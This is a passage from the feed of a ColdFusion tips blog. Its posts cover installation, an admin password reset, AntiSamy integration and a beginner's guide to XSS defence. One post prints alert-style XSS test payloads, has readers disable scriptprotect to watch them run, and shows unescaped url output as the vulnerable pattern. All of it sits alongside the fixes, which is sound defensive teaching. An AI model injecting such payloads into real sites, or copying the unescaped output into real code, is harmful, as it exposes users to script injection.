&lt;span style=&quot;text-align: left;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: left;&quot;&gt;&lt;b&gt;You have now successfully installed ColdFusion Splendor. To access the web root, you can go to: http://localhost:8501/. The web root on the file system is C:\ColdFusionSplendor\cfusion\wwwroot\.&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2014/03/coldfusion-splendor-installation.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhtu7M1hocVVuYO_W1o_bCBUKOyrbsFSr4m3sPBGA47RHeOvK-zk0-VhI9baMtdjYNLMZoEFXk6XPKXH3fBs26IF9pDbk9LhSBcKi9DbJ6j4Ik2jUVJ9RzyKMsGmRitDj-ACsbXT4EXXgo/s72-c/splendor1.jpg" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-5109092177876000844</guid><pubDate>Sun, 16 Feb 2014 08:55:00 +0000</pubDate><atom:updated>2014-02-16T14:26:59.471+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">CF Admin</category><category domain="http://www.blogger.com/atom/ns#">CFAdmin</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">Reset CFAdmin Password</category><title>Reset ColdFusion Admin Password</title><description>Sometimes we forget our CF Admin password or due to some reason you are not able to login to your ColdFusion Admin, so how to reset your CF Admin password.&lt;br /&gt;
&lt;br /&gt;
Before ColdFusion 10 there was no such tool to reset CF Admin password but in ColdFusion 10 Adobe provides a tool to reset the password. Lets see how can we reset...&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJpLF1oGVNCx-WoGOpb1l6Pp8tkxw2us-ydcwqfu0X9oPPNW3hatGw6lgucC2aqXipyf-tnm5qO03C-gKmTgonFE2f8Vp5vSTthNQXd1oycICPNq7nCpxPJDfctX6GYjzO1MbLKh9TtsY/s1600/screnshot-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJpLF1oGVNCx-WoGOpb1l6Pp8tkxw2us-ydcwqfu0X9oPPNW3hatGw6lgucC2aqXipyf-tnm5qO03C-gKmTgonFE2f8Vp5vSTthNQXd1oycICPNq7nCpxPJDfctX6GYjzO1MbLKh9TtsY/s1600/screnshot-1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
As shown in the above image go to command prompt and then go to &quot;{CF-ROOT}\cfusion\bin&quot; and run &quot;&lt;b&gt;dir&lt;/b&gt;&quot; then you can see list of files present in that directory. There is a file present called &quot;passwordreset.bat&quot; and run that file. You will see another screen as below:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsuc6gJGhYOs2cPiM58KN1v4CKWEq_VhjrI91HOX_ASVT9mpp_kwEES0jJ5p1GScXcijXBfnDqdGDrNdInCUCb-VR-qlyLWO2m_7KxTAF6vog_DsWGVBUA2KUsBnefmwLtYDhUWeAH3Kw/s1600/screnshot-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsuc6gJGhYOs2cPiM58KN1v4CKWEq_VhjrI91HOX_ASVT9mpp_kwEES0jJ5p1GScXcijXBfnDqdGDrNdInCUCb-VR-qlyLWO2m_7KxTAF6vog_DsWGVBUA2KUsBnefmwLtYDhUWeAH3Kw/s1600/screnshot-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&amp;nbsp;For changing CF Admin password enter &quot;1&quot;.&lt;br /&gt;
Follow the instructions to reset both CF Admin and RDS password then restart your CF server and you are done!!!</description><link>http://coldfusion-tip.blogspot.com/2014/02/reset-coldfusion-admin-password.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJpLF1oGVNCx-WoGOpb1l6Pp8tkxw2us-ydcwqfu0X9oPPNW3hatGw6lgucC2aqXipyf-tnm5qO03C-gKmTgonFE2f8Vp5vSTthNQXd1oycICPNq7nCpxPJDfctX6GYjzO1MbLKh9TtsY/s72-c/screnshot-1.png" height="72" width="72"/><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-136176574586734433</guid><pubDate>Sat, 21 Dec 2013 10:45:00 +0000</pubDate><atom:updated>2013-12-24T00:20:44.877+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">AntiSamy library integration In ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">Security</category><category domain="http://www.blogger.com/atom/ns#">XSS Attack</category><title>ColdFusion AntiSamy library integration for XSS attack protection</title><description>I have already described what is XSS attack and few examples of XSS attack and how we can protect our application from those attacks in below posts:&lt;br /&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.in/2013/12/coldfusion-application-security.html&quot; target=&quot;_blank&quot;&gt;ColdFusion Application Security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.in/2013/12/examples-of-xss-attack.html&quot; target=&quot;_blank&quot;&gt;Examples Of XSS Attack&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Now, let&#39;s see what are the other advance types of XSS attack can affect our application and how we will prevent those attack.&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
In general prevention method we are preventing rendering of any HTML code inputted by a user but if our application really wants user to input HTML text then how we will prevent it?&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Example&lt;/b&gt;: &amp;nbsp;In many applications we include Rich Text Editor(&lt;b&gt;RTE&lt;/b&gt;) in our application and the final output of this RTE is nothing but html code and user who is having some wrong intention can easily attack your application.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
We called this attack as &quot;&lt;b&gt;AntiSamy&lt;/b&gt;&quot; attack, because Samy is the person who first discovered this attack. For more details about AntiSamy attack please go through this: &lt;b&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project&quot; target=&quot;_blank&quot;&gt;OWASP AntiSamy Project&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
To prevent this attack &lt;a href=&quot;https://www.owasp.org/index.php/About_OWASP&quot; target=&quot;_blank&quot;&gt;OSWAP&lt;/a&gt;&amp;nbsp;has released one library which will take your user input and clean the input to make it XSS safe string. This library is available in .NET and also in JAVA.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Let&#39;s implement the JAVA library in ColdFusion to prevent the attack.&lt;/div&gt;
&lt;div&gt;
You can download the full ColdFusion code with example in zip format from this link: &lt;a href=&quot;https://docs.google.com/uc?export=download&amp;amp;id=0B2GDR5_Jv000TmlrSFNFMTNoSXM&quot; target=&quot;_blank&quot;&gt;Download ColdFusion Code&lt;/a&gt;.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
This zip file contains following files:&lt;/div&gt;
&lt;div&gt;
- Application.cfc&lt;/div&gt;
&lt;div&gt;
-&amp;nbsp;Application_CFC_for_CF9( Use this file as Application.cfc in case you are using ColdFusion 9 or lower version. Here we are using javaloader to load library which is not needed in CF10)&lt;/div&gt;
&lt;div&gt;
- index.cfm&lt;/div&gt;
&lt;div&gt;
- lib - This directory contains&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;b&gt;antisamy-1.5.3.jar &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; - &lt;/b&gt;AntiSamy java library&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;antisamy-slashdot-1.4.4.xml - &lt;/b&gt;AntiSamy filter settings file&lt;/div&gt;
&lt;div&gt;
-&amp;nbsp;javaloader - This library used for loading java library for CF9 or lower version.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Let&#39;s review the code now:&lt;/div&gt;
&lt;div&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/6fc09952805a335562da.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
In Application.cfc we are just loading java library using CF10 library loading method and creating an AntiSamy object on application start, so that we can use it through out the application by using that object.&lt;br /&gt;
&lt;br /&gt;
Let&#39;s see index.cfm as below:&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/1ef4634462fdf5a84d32.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
In index.cfm we are scanning the input &amp;nbsp;by using the library and getting clean HTML and also error by anti samy scanning. See the output below:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg9A39A1gpSTxdIzijBNhJMXi0VanJi1kbIJHjJ0j978yZ5a_zpn-4Iiu9BPZZ17pg-mFCGdpARFe29VA4yftPX3UK2eG-Urf122Xcl86ugQjtTfNITF_G6njPpXAQalVvKsW0MfiOIco/s1600/AntiSamy.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg9A39A1gpSTxdIzijBNhJMXi0VanJi1kbIJHjJ0j978yZ5a_zpn-4Iiu9BPZZ17pg-mFCGdpARFe29VA4yftPX3UK2eG-Urf122Xcl86ugQjtTfNITF_G6njPpXAQalVvKsW0MfiOIco/s1600/AntiSamy.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
So, here we are getting clean html along with error messages by AntiSamy scanning. You can also define your own AntiSamy rules by modifying &amp;nbsp;&lt;b&gt;antisamy-slashdot-1.4.4.xml. &lt;/b&gt;&amp;nbsp;For reference you can see other web site setting files available in &lt;a href=&quot;https://code.google.com/p/owaspantisamy/downloads/list&quot; target=&quot;_blank&quot;&gt;AntiSamy library home here&lt;/a&gt;.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Hope now you can integrate this library in your application!!!&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Download AntiSamy from its &lt;a href=&quot;https://code.google.com/p/owaspantisamy/downloads/list&quot; target=&quot;_blank&quot;&gt;home on Google Code&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;http://javaloader.riaforge.org/&quot; target=&quot;_blank&quot;&gt;Download java loader from riaforge&lt;/a&gt;.&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/12/coldfusion-antisamy-library-integration.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg9A39A1gpSTxdIzijBNhJMXi0VanJi1kbIJHjJ0j978yZ5a_zpn-4Iiu9BPZZ17pg-mFCGdpARFe29VA4yftPX3UK2eG-Urf122Xcl86ugQjtTfNITF_G6njPpXAQalVvKsW0MfiOIco/s72-c/AntiSamy.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-7023716764766027971</guid><pubDate>Fri, 20 Dec 2013 20:51:00 +0000</pubDate><atom:updated>2013-12-21T02:28:03.050+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">Security</category><category domain="http://www.blogger.com/atom/ns#">XSS Attack</category><title>Examples Of XSS Attack</title><description>Let&#39;s start with some examples of XSS attack.&lt;br /&gt;
&lt;div&gt;
Here we have three files as listed below and put the three files in same folder and run &quot;index.cfm&quot; page:&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Application.cfc&lt;/li&gt;
&lt;li&gt;index.cfm -&lt;/li&gt;
&lt;li&gt;comment.json - Stores the comment added in the post&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Application.cfc:&lt;/div&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/a1f816a7a6f7a4868fa8.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Find index.cfm below:&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/7e89142f51e4b763c8d1.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
and next comment.json where I have added a comment as &quot;First comment&quot; as below, this file is used as our comment storage.&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/84a073bcc97c1df44a3f.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
First if you run index.cfm then you will see the output as follows:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9nfNlZQTtlDoARS66hpeIznFwTo9UPHgBL7EaSE9tUhXVMbgG-poJ2Mj2P6a8fo6Z0uJh0SrLPEMAMu9zHskhKyxImiuvwo8sdNjXGH5RqaR94gbPdmRMl3JYd8gMEkFWxemXJOfxNFM/s1600/Test1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9nfNlZQTtlDoARS66hpeIznFwTo9UPHgBL7EaSE9tUhXVMbgG-poJ2Mj2P6a8fo6Z0uJh0SrLPEMAMu9zHskhKyxImiuvwo8sdNjXGH5RqaR94gbPdmRMl3JYd8gMEkFWxemXJOfxNFM/s1600/Test1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
As we can see here we have only one comment which was present initially in the JSON file. Let&#39;s add some comment for our testing.&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Test 1&lt;/u&gt;:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Input:&lt;/b&gt; &amp;lt;script&amp;gt;alert(&#39;Hello Girls!&#39;)&amp;lt;/script&amp;gt; and see the output below.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRiAGk0HvkK-5o0Xxc2WfMpSZgqXYj0jEusux4yop6nnlsvqO-xpOEC2KDJLlM5-xcAjOpQN9c9QWeo4YlJB18DdP6pHk_8JOB_VTHV_Gab4NIjNRohnuxJOboNZ9DHYk41l_KRNoiv7I/s1600/Test2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRiAGk0HvkK-5o0Xxc2WfMpSZgqXYj0jEusux4yop6nnlsvqO-xpOEC2KDJLlM5-xcAjOpQN9c9QWeo4YlJB18DdP6pHk_8JOB_VTHV_Gab4NIjNRohnuxJOboNZ9DHYk41l_KRNoiv7I/s1600/Test2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
If you notice in dump section we are getting the text as &quot;&lt;span style=&quot;background-color: white; font-family: verdana, arial, helvetica, sans-serif; font-size: xx-small;&quot;&gt;&lt;b&gt;&amp;lt;InvalidTag&amp;gt;alert(&#39;Hello Girls!&#39;)&amp;lt;/script&amp;gt;&lt;/b&gt;&lt;/span&gt;&quot; and in comment output we are getting &quot;&lt;b&gt;alert(&#39;Hello Girls!&#39;)&lt;/b&gt;&quot;.&lt;br /&gt;
This is because, in Application.cfc we have added &lt;span style=&quot;color: #3d85c6; font-weight: bold;&quot;&gt;this.scriptprotect = &quot;all&quot;; &lt;/span&gt;which is converting the script to &quot;InvalidTag&quot; and helps from such basic XSS attack.&lt;br /&gt;
&lt;br /&gt;
For your testing make &lt;span style=&quot;color: #3d85c6;&quot;&gt;this.scriptprotect = &quot;none&quot;; &lt;/span&gt;and enter the same comment again and see the output. This time you will see the alert message instead of any &amp;lt;InvalidTag&amp;gt; as the comment.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;u&gt;Test 2&lt;/u&gt;:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Input:&lt;/b&gt;&amp;nbsp;&amp;lt;body onload=&quot;alert(&#39;Hi&#39;);&quot;&amp;gt;XSS Body&amp;lt;/body&amp;gt; and in output first you will get an alert message which will display &quot;Hi&quot; and after clicking OK, in comment section you will find your text &quot;&lt;b&gt;XSS Body&lt;/b&gt;&quot;.&lt;br /&gt;
Every time you load the page you will see the same result. So, how to protect here to your site???&lt;br /&gt;
Ans: Use appropriate display formatting function while displaying the comment as below:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;For CF9:&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&amp;lt;cfloop array=&quot;#commentObj[&#39;blogcomment&#39;]#&quot; index=&quot;comment&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&amp;lt;li&amp;gt;#HtmlEditFormat(comment)#&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&amp;lt;/cfloop&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;For CF10:&lt;/b&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&amp;lt;cfloop array=&quot;#commentObj[&#39;blogcomment&#39;]#&quot; index=&quot;comment&quot;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;&amp;lt;li&amp;gt;#EncodeForHTML(comment)#&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&amp;lt;/cfloop&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
In both the cases we will never get any alert message and output comment would be:&lt;br /&gt;
&quot;&lt;b&gt;&amp;lt;body onload=&quot;alert(&#39;Hi&#39;);&quot;&amp;gt;XSS Body&amp;lt;/body&amp;gt;&lt;/b&gt;&quot;&lt;br /&gt;
&lt;br /&gt;
If you want to avoid storing this malicious HTML in your storage then before string the comment just use the display formatting function:&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&amp;lt;cfset arrayAppend(commentObj[&#39;blogcomment&#39;], HtmlEditFormat(form.blogCommentText))&amp;gt;&lt;/span&gt;&lt;br /&gt;
Or&lt;br /&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;&amp;lt;cfset arrayAppend(commentObj[&#39;blogcomment&#39;],&amp;nbsp;EncodeForHTML(form.blogCommentText))&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
After using this function before storing into database, don&#39;t need to use any display formatting function while displaying the comment anymore as it is already converted into XSS safe string.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The entered text could be in encoded format visit the URL for detail encoded malicious script :&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Double_Encoding&quot;&gt;https://www.owasp.org/index.php/Double_Encoding&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
In that case use the function &quot;&lt;span style=&quot;background-color: ghostwhite; font-family: Consolas, &#39;Liberation Mono&#39;, Courier, monospace; font-size: 15px; line-height: 21px; white-space: pre;&quot;&gt;sanitizeScope&quot; &lt;/span&gt;which is described in&amp;nbsp;&lt;a href=&quot;http://coldfusion-tip.blogspot.in/2013/12/coldfusion-application-security.html&quot;&gt;http://coldfusion-tip.blogspot.in/2013/12/coldfusion-application-security.html&lt;/a&gt;&amp;nbsp;would come handy. Inside &quot;onRequestStart&quot; you can call:&amp;nbsp;&lt;span style=&quot;background-color: ghostwhite; font-family: Consolas, &#39;Liberation Mono&#39;, Courier, monospace; font-size: 15px; line-height: 21px; white-space: pre;&quot;&gt;&lt;span style=&quot;color: #3d85c6;&quot;&gt;sanitizeScope( form )&lt;/span&gt; or you can call that function in any particular page wherever you want to use.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: ghostwhite; font-family: Consolas, &#39;Liberation Mono&#39;, Courier, monospace; font-size: 15px; line-height: 21px; white-space: pre;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: ghostwhite; font-family: Consolas, &#39;Liberation Mono&#39;, Courier, monospace; font-size: 15px; line-height: 21px; white-space: pre;&quot;&gt;Hope you enjoyed the examples!!!&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;background-color: red;&quot;&gt;NOTE: All the examples tested in&amp;nbsp;FireFox 26.0&amp;nbsp;&amp;nbsp;and it may vary in different browsers and &amp;nbsp;in different ColdFusion version as browsers are also taking XSS attack measure and in CF versions also Adobe making CF more in each release.&lt;/b&gt;&lt;/div&gt;
</description><link>http://coldfusion-tip.blogspot.com/2013/12/examples-of-xss-attack.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9nfNlZQTtlDoARS66hpeIznFwTo9UPHgBL7EaSE9tUhXVMbgG-poJ2Mj2P6a8fo6Z0uJh0SrLPEMAMu9zHskhKyxImiuvwo8sdNjXGH5RqaR94gbPdmRMl3JYd8gMEkFWxemXJOfxNFM/s72-c/Test1.png" height="72" width="72"/><thr:total>6</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-4133307371634941417</guid><pubDate>Wed, 18 Dec 2013 18:18:00 +0000</pubDate><atom:updated>2013-12-21T02:26:26.584+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">CSRF Attack</category><category domain="http://www.blogger.com/atom/ns#">File Uploading Security</category><category domain="http://www.blogger.com/atom/ns#">Password Protection</category><category domain="http://www.blogger.com/atom/ns#">Security</category><category domain="http://www.blogger.com/atom/ns#">Session Hijacking</category><category domain="http://www.blogger.com/atom/ns#">SQL Injection</category><category domain="http://www.blogger.com/atom/ns#">XSS Attack</category><title>ColdFusion Application Security</title><description>&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Web Security one most favorite topic of mine. Though I’m not an expert in Web Security, I thought to share my idea which I learned, so that it will help someone who starts with this topic.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;NOTE:&lt;/b&gt; You can take this article as a beginner guide to Web Security and carry on your journey to explore more on this field.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Following are the most common security vulnerability we generally face for our web application.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;XSS Attack.&lt;/li&gt;
&lt;li&gt;SQL Injection.&lt;/li&gt;
&lt;li&gt;CSRF Attack.&lt;/li&gt;
&lt;li&gt;File Uploading.&lt;/li&gt;
&lt;li&gt;Session Hijacking.&lt;/li&gt;
&lt;li&gt;Password Protection.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
Out of the above listed security vulnerability; XSS attack has a huge share of 84%. So, let’s start with XSS attack.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;u&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;XSS (Cross Site Scripting) Attack&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;In this type of attack the attacker inject some client side script into Web pages of the application. Sometimes the malicious script stored permanently in database or in some storage and sometimes it passed in form submit or in url query string to deface the website.&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; line-height: 115%; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
This XSS Attack is divided into two types:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Non - Persistent XSS Attack.&lt;/li&gt;
&lt;li&gt;Persistent XSS Attack.&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;u&gt;Non - Persistent XSS Attack&lt;/u&gt;:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
In this type of attack the script is not going to be stored somewhere but the attacker passes the malicious script by URL or FROM submits to deface the website.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Question arises, attacker may see some error message if he/she will pass that script how it&#39;s going to affect real user or the application?&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Suppose attacker able to pass the wrong URL to provide the wrong URL to user in email or by any other medium and a user clicks on that wrong url then the user may face following problem.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Let say we have a page called index.cfm and have following code:&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;&amp;lt;cfoutput&amp;gt;#url.name#&amp;lt;/cfoutput&amp;gt;&lt;/span&gt;&lt;/b&gt;. Means it only displays the &quot;&lt;b&gt;name&lt;/b&gt;&quot; parameter value which we pass in url scope.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
